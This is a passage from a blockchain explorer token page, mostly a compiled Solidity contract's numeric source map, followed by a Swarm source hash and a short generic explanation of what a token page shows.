1:-1:-1;9269:13:0;;-1:-1:-1;;;;;9264:18:0;;;9269:13;;9264:18;9253:29;:44;;;;-1:-1:-1;9286:11:0;;;;;;;9253:44;:86;;;;-1:-1:-1;5058:13:0;4758:1;5058:2;:13;:::i;:::-;5047:24;;:8;:24;:::i;:::-;9301:20;:38;9253:86;:118;;;;;9353:18;;9343:9;;:28;9253:118;9249:418;;;9392:67;9409:49;9413:6;9420:37;9424:20;5127:13;4758:1;5127:2;:13;:::i;:::-;5115:25;;:9;:25;:::i;:::-;9420:3;:37::i;9409:49::-;9392:16;:67::i;:::-;9507:21;9550:22;;9547:105;;9597:35;9610:21;9597:12;:35::i;:::-;9373:294;9249:418;8022:1656;7984:1694;-1:-1:-1;;;;;9695:20:0;;;;;;:14;:20;;;;;;;;;:40;;-1:-1:-1;;;;;;9717:18:0;;;;;;:14;:18;;;;;;;;9695:40;9694:61;;;;-1:-1:-1;2659:7:0;2686:6;-1:-1:-1;;;;;9740:15:0;;;2686:6;;9740:15;;9694:61;:84;;;;-1:-1:-1;;;;;;9759:19:0;;9773:4;9759:19;;9694:84;:105;;;;-1:-1:-1;;;;;;9782:17:0;;9794:4;9782:17;;9694:105;9690:167;;;9830:15;9817:10;:28;9690:167;-1:-1:-1;;;;;9871:20:0;;;;;;:14;:20;;;;;;;;:69;;;;;9922:16;;9911:10;;:27;;;;:::i;:::-;9896:12;:43;9871:69;9867:276;;;-1:-1:-1;;;;;9983:15:0;;;;;;;:9;:15;;;;;;:25;;;;;;;10026:13;;;;;;;;;;:23;;;;;;10084:26;;;;;;10002:6;1613:25:1;;1601:2;1586:18;;1467:177;10084:26:0;;;;;;;;10125:7;7645:3765;;;:::o;9867:276::-;-1:-1:-1;;;;;10158:20:0;;;;;;:14;:20;;;;;;;;10157:21;:44;;;;-1:-1:-1;;;;;;10183:18:0;;;;;;:14;:18;;;;;;;;10182:19;10157:44;10153:901;;;10221:13;;-1:-1:-1;;;;;10221:19:0;;;:13;;:19;10217:826;;-1:-1:-1;;;;;10289:13:0;;;10261:26;10289:13;;;:9;:13;;;;;10326;;10289;;10326:21;;;:13;;:21;10322:498;;10376:16;;;:20;10372:165;;10454:18;;10444:9;;:28;10443:70;;10498:15;10443:70;;;10477:17;10493:1;10477:15;:17;:::i;:::-;10425:88;;10372:165;10322:498;;;-1:-1:-1;;;;;10614:15:0;;10585:26;10614:15;;;:9;:15;;;;;10657:16;;:20;;:58;;-1:-1:-1;10699:16:0;;10681;;:34;10657:58;10653:148;;;10761:16;;10744:33;;10653:148;10562:258;10322:498;10242:593;10217:826;;;-1:-1:-1;;;;;10888:15:0;;10860:26;10888:15;;;:9;:15;;;;;10964:10;;10944:16;;:30;;10964:10;10944:30;:::i;:::-;10922:20;;;:52;11012:15;10993:17;;;;:34;10217:826;11069:11;;11066:161;;11137:4;11119:24;;;;:9;:24;;;;;;:39;;11148:9;11119:28;:39::i;:::-;11112:4;11094:24;;;;:9;:24;;;;;;;:64;;;;11176:39;;-1:-1:-1;;;;;11176:39:0;;;;;;;11205:9;1613:25:1;;1601:2;1586:18;;1467:177;11176:39:0;;;;;;;;11066:161;-1:-1:-1;;;;;11253:15:0;;;;;;:9;:15;;;;;;:27;;11273:6;11253:19;:27::i;:::-;-1:-1:-1;;;;;11237:15:0;;;;;;:9;:15;;;;;:43;11305:40;11323:21;:6;11334:9;11323:10;:21::i;:::-;-1:-1:-1;;;;;11305:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11291:13:0;;;;;;;:9;:13;;;;;:54;;;;11361:41;;;11380:21;:6;11391:9;11380:10;:21::i;:::-;11361:41;;1613:25:1;;;1601:2;1586:18;11361:41:0;1467:177:1;1515:190:0;1601:7;1637:12;1629:6;;;;1621:29;;;;-1:-1:-1;;;1621:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1661:9:0;1673:5;1677:1;1673;:5;:::i;:::-;1661:17;1515:190;-1:-1:-1;;;;;1515:190:0:o;11639:483::-;5568:6;:13;;-1:-1:-1;;5568:13:0;5577:4;5568:13;;;11741:16:::1;::::0;;11755:1:::1;11741:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11741:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11741:16:0::1;11717:40;;11786:4;11768;11773:1;11768:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;11768:23:0::1;;;-1:-1:-1::0;;;;;11768:23:0::1;;;::::0;::::1;4595:42;-1:-1:-1::0;;;;;11812:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11802:4;11807:1;11802:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;11802:32:0::1;;;-1:-1:-1::0;;;;;11802:32:0::1;;;::::0;::::1;11845:62;11862:4;4595:42;11895:11;11845:8;:62::i;:::-;11918:196;::::0;-1:-1:-1;;;11918:196:0;;4595:42:::1;::::0;11918:66:::1;::::0;:196:::1;::::0;11999:11;;12025:1:::1;::::0;12041:4;;12068::::1;::::0;12088:15:::1;::::0;11918:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5604:6:0;:14;;-1:-1:-1;;5604:14:0;;;-1:-1:-1;;;;11639:483:0:o;12337:145::-;12439:10;;12431:43;;12394:12;;-1:-1:-1;;;;;12439:10:0;;12463:6;;12431:43;8109:205:1;1713:246:0;1771:7;1795:1;1800;1795:6;1791:47;;-1:-1:-1;1825:1:0;1818:8;;1791:47;1848:9;1860:5;1864:1;1860;:5;:::i;:::-;1848:17;-1:-1:-1;1893:1:0;1884:5;1888:1;1848:17;1884:5;:::i;:::-;:10;1876:56;;;;-1:-1:-1;;;1876:56:0;;13614:2:1;1876:56:0;;;13596:21:1;13653:2;13633:18;;;13626:30;13692:34;13672:18;;;13665:62;-1:-1:-1;;;13743:18:1;;;13736:31;13784:19;;1876:56:0;13412:397:1;1876:56:0;1950:1;1713:246;-1:-1:-1;;;1713:246:0:o;1967:132::-;2025:7;2052:39;2056:1;2059;2052:39;;;;;;;;;;;;;;;;;:3;:39::i;11420:98::-;11477:7;11504:1;11502;:3;11501:9;;11509:1;11501:9;;;-1:-1:-1;11507:1:0;11420:98;-1:-1:-1;11420:98:0:o;1184:179::-;1242:7;;1274:5;1278:1;1274;:5;:::i;:::-;1262:17;;1303:1;1298;:6;;1290:46;;;;-1:-1:-1;;;1290:46:0;;14016:2:1;1290:46:0;;;13998:21:1;14055:2;14035:18;;;14028:30;14094:29;14074:18;;;14067:57;14141:18;;1290:46:0;13814:351:1;1371:136:0;1429:7;1456:43;1460:1;1463;1456:43;;;;;;;;;;;;;;;;;:3;:43::i;2107:189::-;2193:7;2228:12;2221:5;2213:28;;;;-1:-1:-1;;;2213:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2252:9:0;2264:5;2268:1;2264;:5;:::i;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;402:548::-;514:4;543:2;572;561:9;554:21;604:6;598:13;647:6;642:2;631:9;627:18;620:34;672:1;682:140;696:6;693:1;690:13;682:140;;;791:14;;;787:23;;781:30;757:17;;;776:2;753:26;746:66;711:10;;682:140;;;686:3;871:1;866:2;857:6;846:9;842:22;838:31;831:42;941:2;934;930:7;925:2;917:6;913:15;909:29;898:9;894:45;890:54;882:62;;;;402:548;;;;:::o;955:315::-;1023:6;1031;1084:2;1072:9;1063:7;1059:23;1055:32;1052:52;;;1100:1;1097;1090:12;1052:52;1139:9;1126:23;1158:31;1183:5;1158:31;:::i;:::-;1208:5;1260:2;1245:18;;;;1232:32;;-1:-1:-1;;;955:315:1:o;1883:456::-;1960:6;1968;1976;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;:::-;2153:5;-1:-1:-1;2210:2:1;2195:18;;2182:32;2223:33;2182:32;2223:33;:::i;:::-;1883:456;;2275:7;;-1:-1:-1;;;2329:2:1;2314:18;;;;2301:32;;1883:456::o;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:184::-;3204:6;3257:2;3245:9;3236:7;3232:23;3228:32;3225:52;;;3273:1;3270;3263:12;3225:52;-1:-1:-1;3296:16:1;;3134:184;-1:-1:-1;3134:184:1:o;3943:277::-;4010:6;4063:2;4051:9;4042:7;4038:23;4034:32;4031:52;;;4079:1;4076;4069:12;4031:52;4111:9;4105:16;4164:5;4157:13;4150:21;4143:5;4140:32;4130:60;;4186:1;4183;4176:12;4225:127;4286:10;4281:3;4277:20;4274:1;4267:31;4317:4;4314:1;4307:15;4341:4;4338:1;4331:15;4357:416;4446:1;4483:5;4446:1;4497:270;4518:7;4508:8;4505:21;4497:270;;;4577:4;4573:1;4569:6;4565:17;4559:4;4556:27;4553:53;;;4586:18;;:::i;:::-;4636:7;4626:8;4622:22;4619:55;;;4656:16;;;;4619:55;4735:22;;;;4695:15;;;;4497:270;;;4501:3;4357:416;;;;;:::o;4778:806::-;4827:5;4857:8;4847:80;;-1:-1:-1;4898:1:1;4912:5;;4847:80;4946:4;4936:76;;-1:-1:-1;4983:1:1;4997:5;;4936:76;5028:4;5046:1;5041:59;;;;5114:1;5109:130;;;;5021:218;;5041:59;5071:1;5062:10;;5085:5;;;5109:130;5146:3;5136:8;5133:17;5130:43;;;5153:18;;:::i;:::-;-1:-1:-1;;5209:1:1;5195:16;;5224:5;;5021:218;;5323:2;5313:8;5310:16;5304:3;5298:4;5295:13;5291:36;5285:2;5275:8;5272:16;5267:2;5261:4;5258:12;5254:35;5251:77;5248:159;;;-1:-1:-1;5360:19:1;;;5392:5;;5248:159;5439:34;5464:8;5458:4;5439:34;:::i;:::-;5509:6;5505:1;5501:6;5497:19;5488:7;5485:32;5482:58;;;5520:18;;:::i;:::-;5558:20;;4778:806;-1:-1:-1;;;4778:806:1:o;5589:140::-;5647:5;5676:47;5717:4;5707:8;5703:19;5697:4;5676:47;:::i;5734:168::-;5807:9;;;5838;;5855:15;;;5849:22;;5835:37;5825:71;;5876:18;;:::i;5907:356::-;6109:2;6091:21;;;6128:18;;;6121:30;6187:34;6182:2;6167:18;;6160:62;6254:2;6239:18;;5907:356::o;6621:251::-;6691:6;6744:2;6732:9;6723:7;6719:23;6715:32;6712:52;;;6760:1;6757;6750:12;6712:52;6792:9;6786:16;6811:31;6836:5;6811:31;:::i;7798:306::-;7886:6;7894;7902;7955:2;7943:9;7934:7;7930:23;7926:32;7923:52;;;7971:1;7968;7961:12;7923:52;8000:9;7994:16;7984:26;;8050:2;8039:9;8035:18;8029:25;8019:35;;8094:2;8083:9;8079:18;8073:25;8063:35;;7798:306;;;;;:::o;11183:125::-;11248:9;;;11269:10;;;11266:36;;;11282:18;;:::i;11668:135::-;11707:3;11728:17;;;11725:43;;11748:18;;:::i;:::-;-1:-1:-1;11795:1:1;11784:13;;11668:135::o;11808:128::-;11875:9;;;11896:11;;;11893:37;;;11910:18;;:::i;12073:127::-;12134:10;12129:3;12125:20;12122:1;12115:31;12165:4;12162:1;12155:15;12189:4;12186:1;12179:15;12205:980;12467:4;12515:3;12504:9;12500:19;12546:6;12535:9;12528:25;12572:2;12610:6;12605:2;12594:9;12590:18;12583:34;12653:3;12648:2;12637:9;12633:18;12626:31;12677:6;12712;12706:13;12743:6;12735;12728:22;12781:3;12770:9;12766:19;12759:26;;12820:2;12812:6;12808:15;12794:29;;12841:1;12851:195;12865:6;12862:1;12859:13;12851:195;;;12930:13;;-1:-1:-1;;;;;12926:39:1;12914:52;;13021:15;;;;12986:12;;;;12962:1;12880:9;12851:195;;;-1:-1:-1;;;;;;;13102:32:1;;;;13097:2;13082:18;;13075:60;-1:-1:-1;;;13166:3:1;13151:19;13144:35;13063:3;12205:980;-1:-1:-1;;;12205:980:1:o;13190:217::-;13230:1;13256;13246:132;;13300:10;13295:3;13291:20;13288:1;13281:31;13335:4;13332:1;13325:15;13363:4;13360:1;13353:15;13246:132;-1:-1:-1;13392:9:1;;13190:217::o

Swarm Source

ipfs://24ebdd072945080c1430acb23f938dd4db9a66ecb6e27bb242a6beb56ccf25d4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.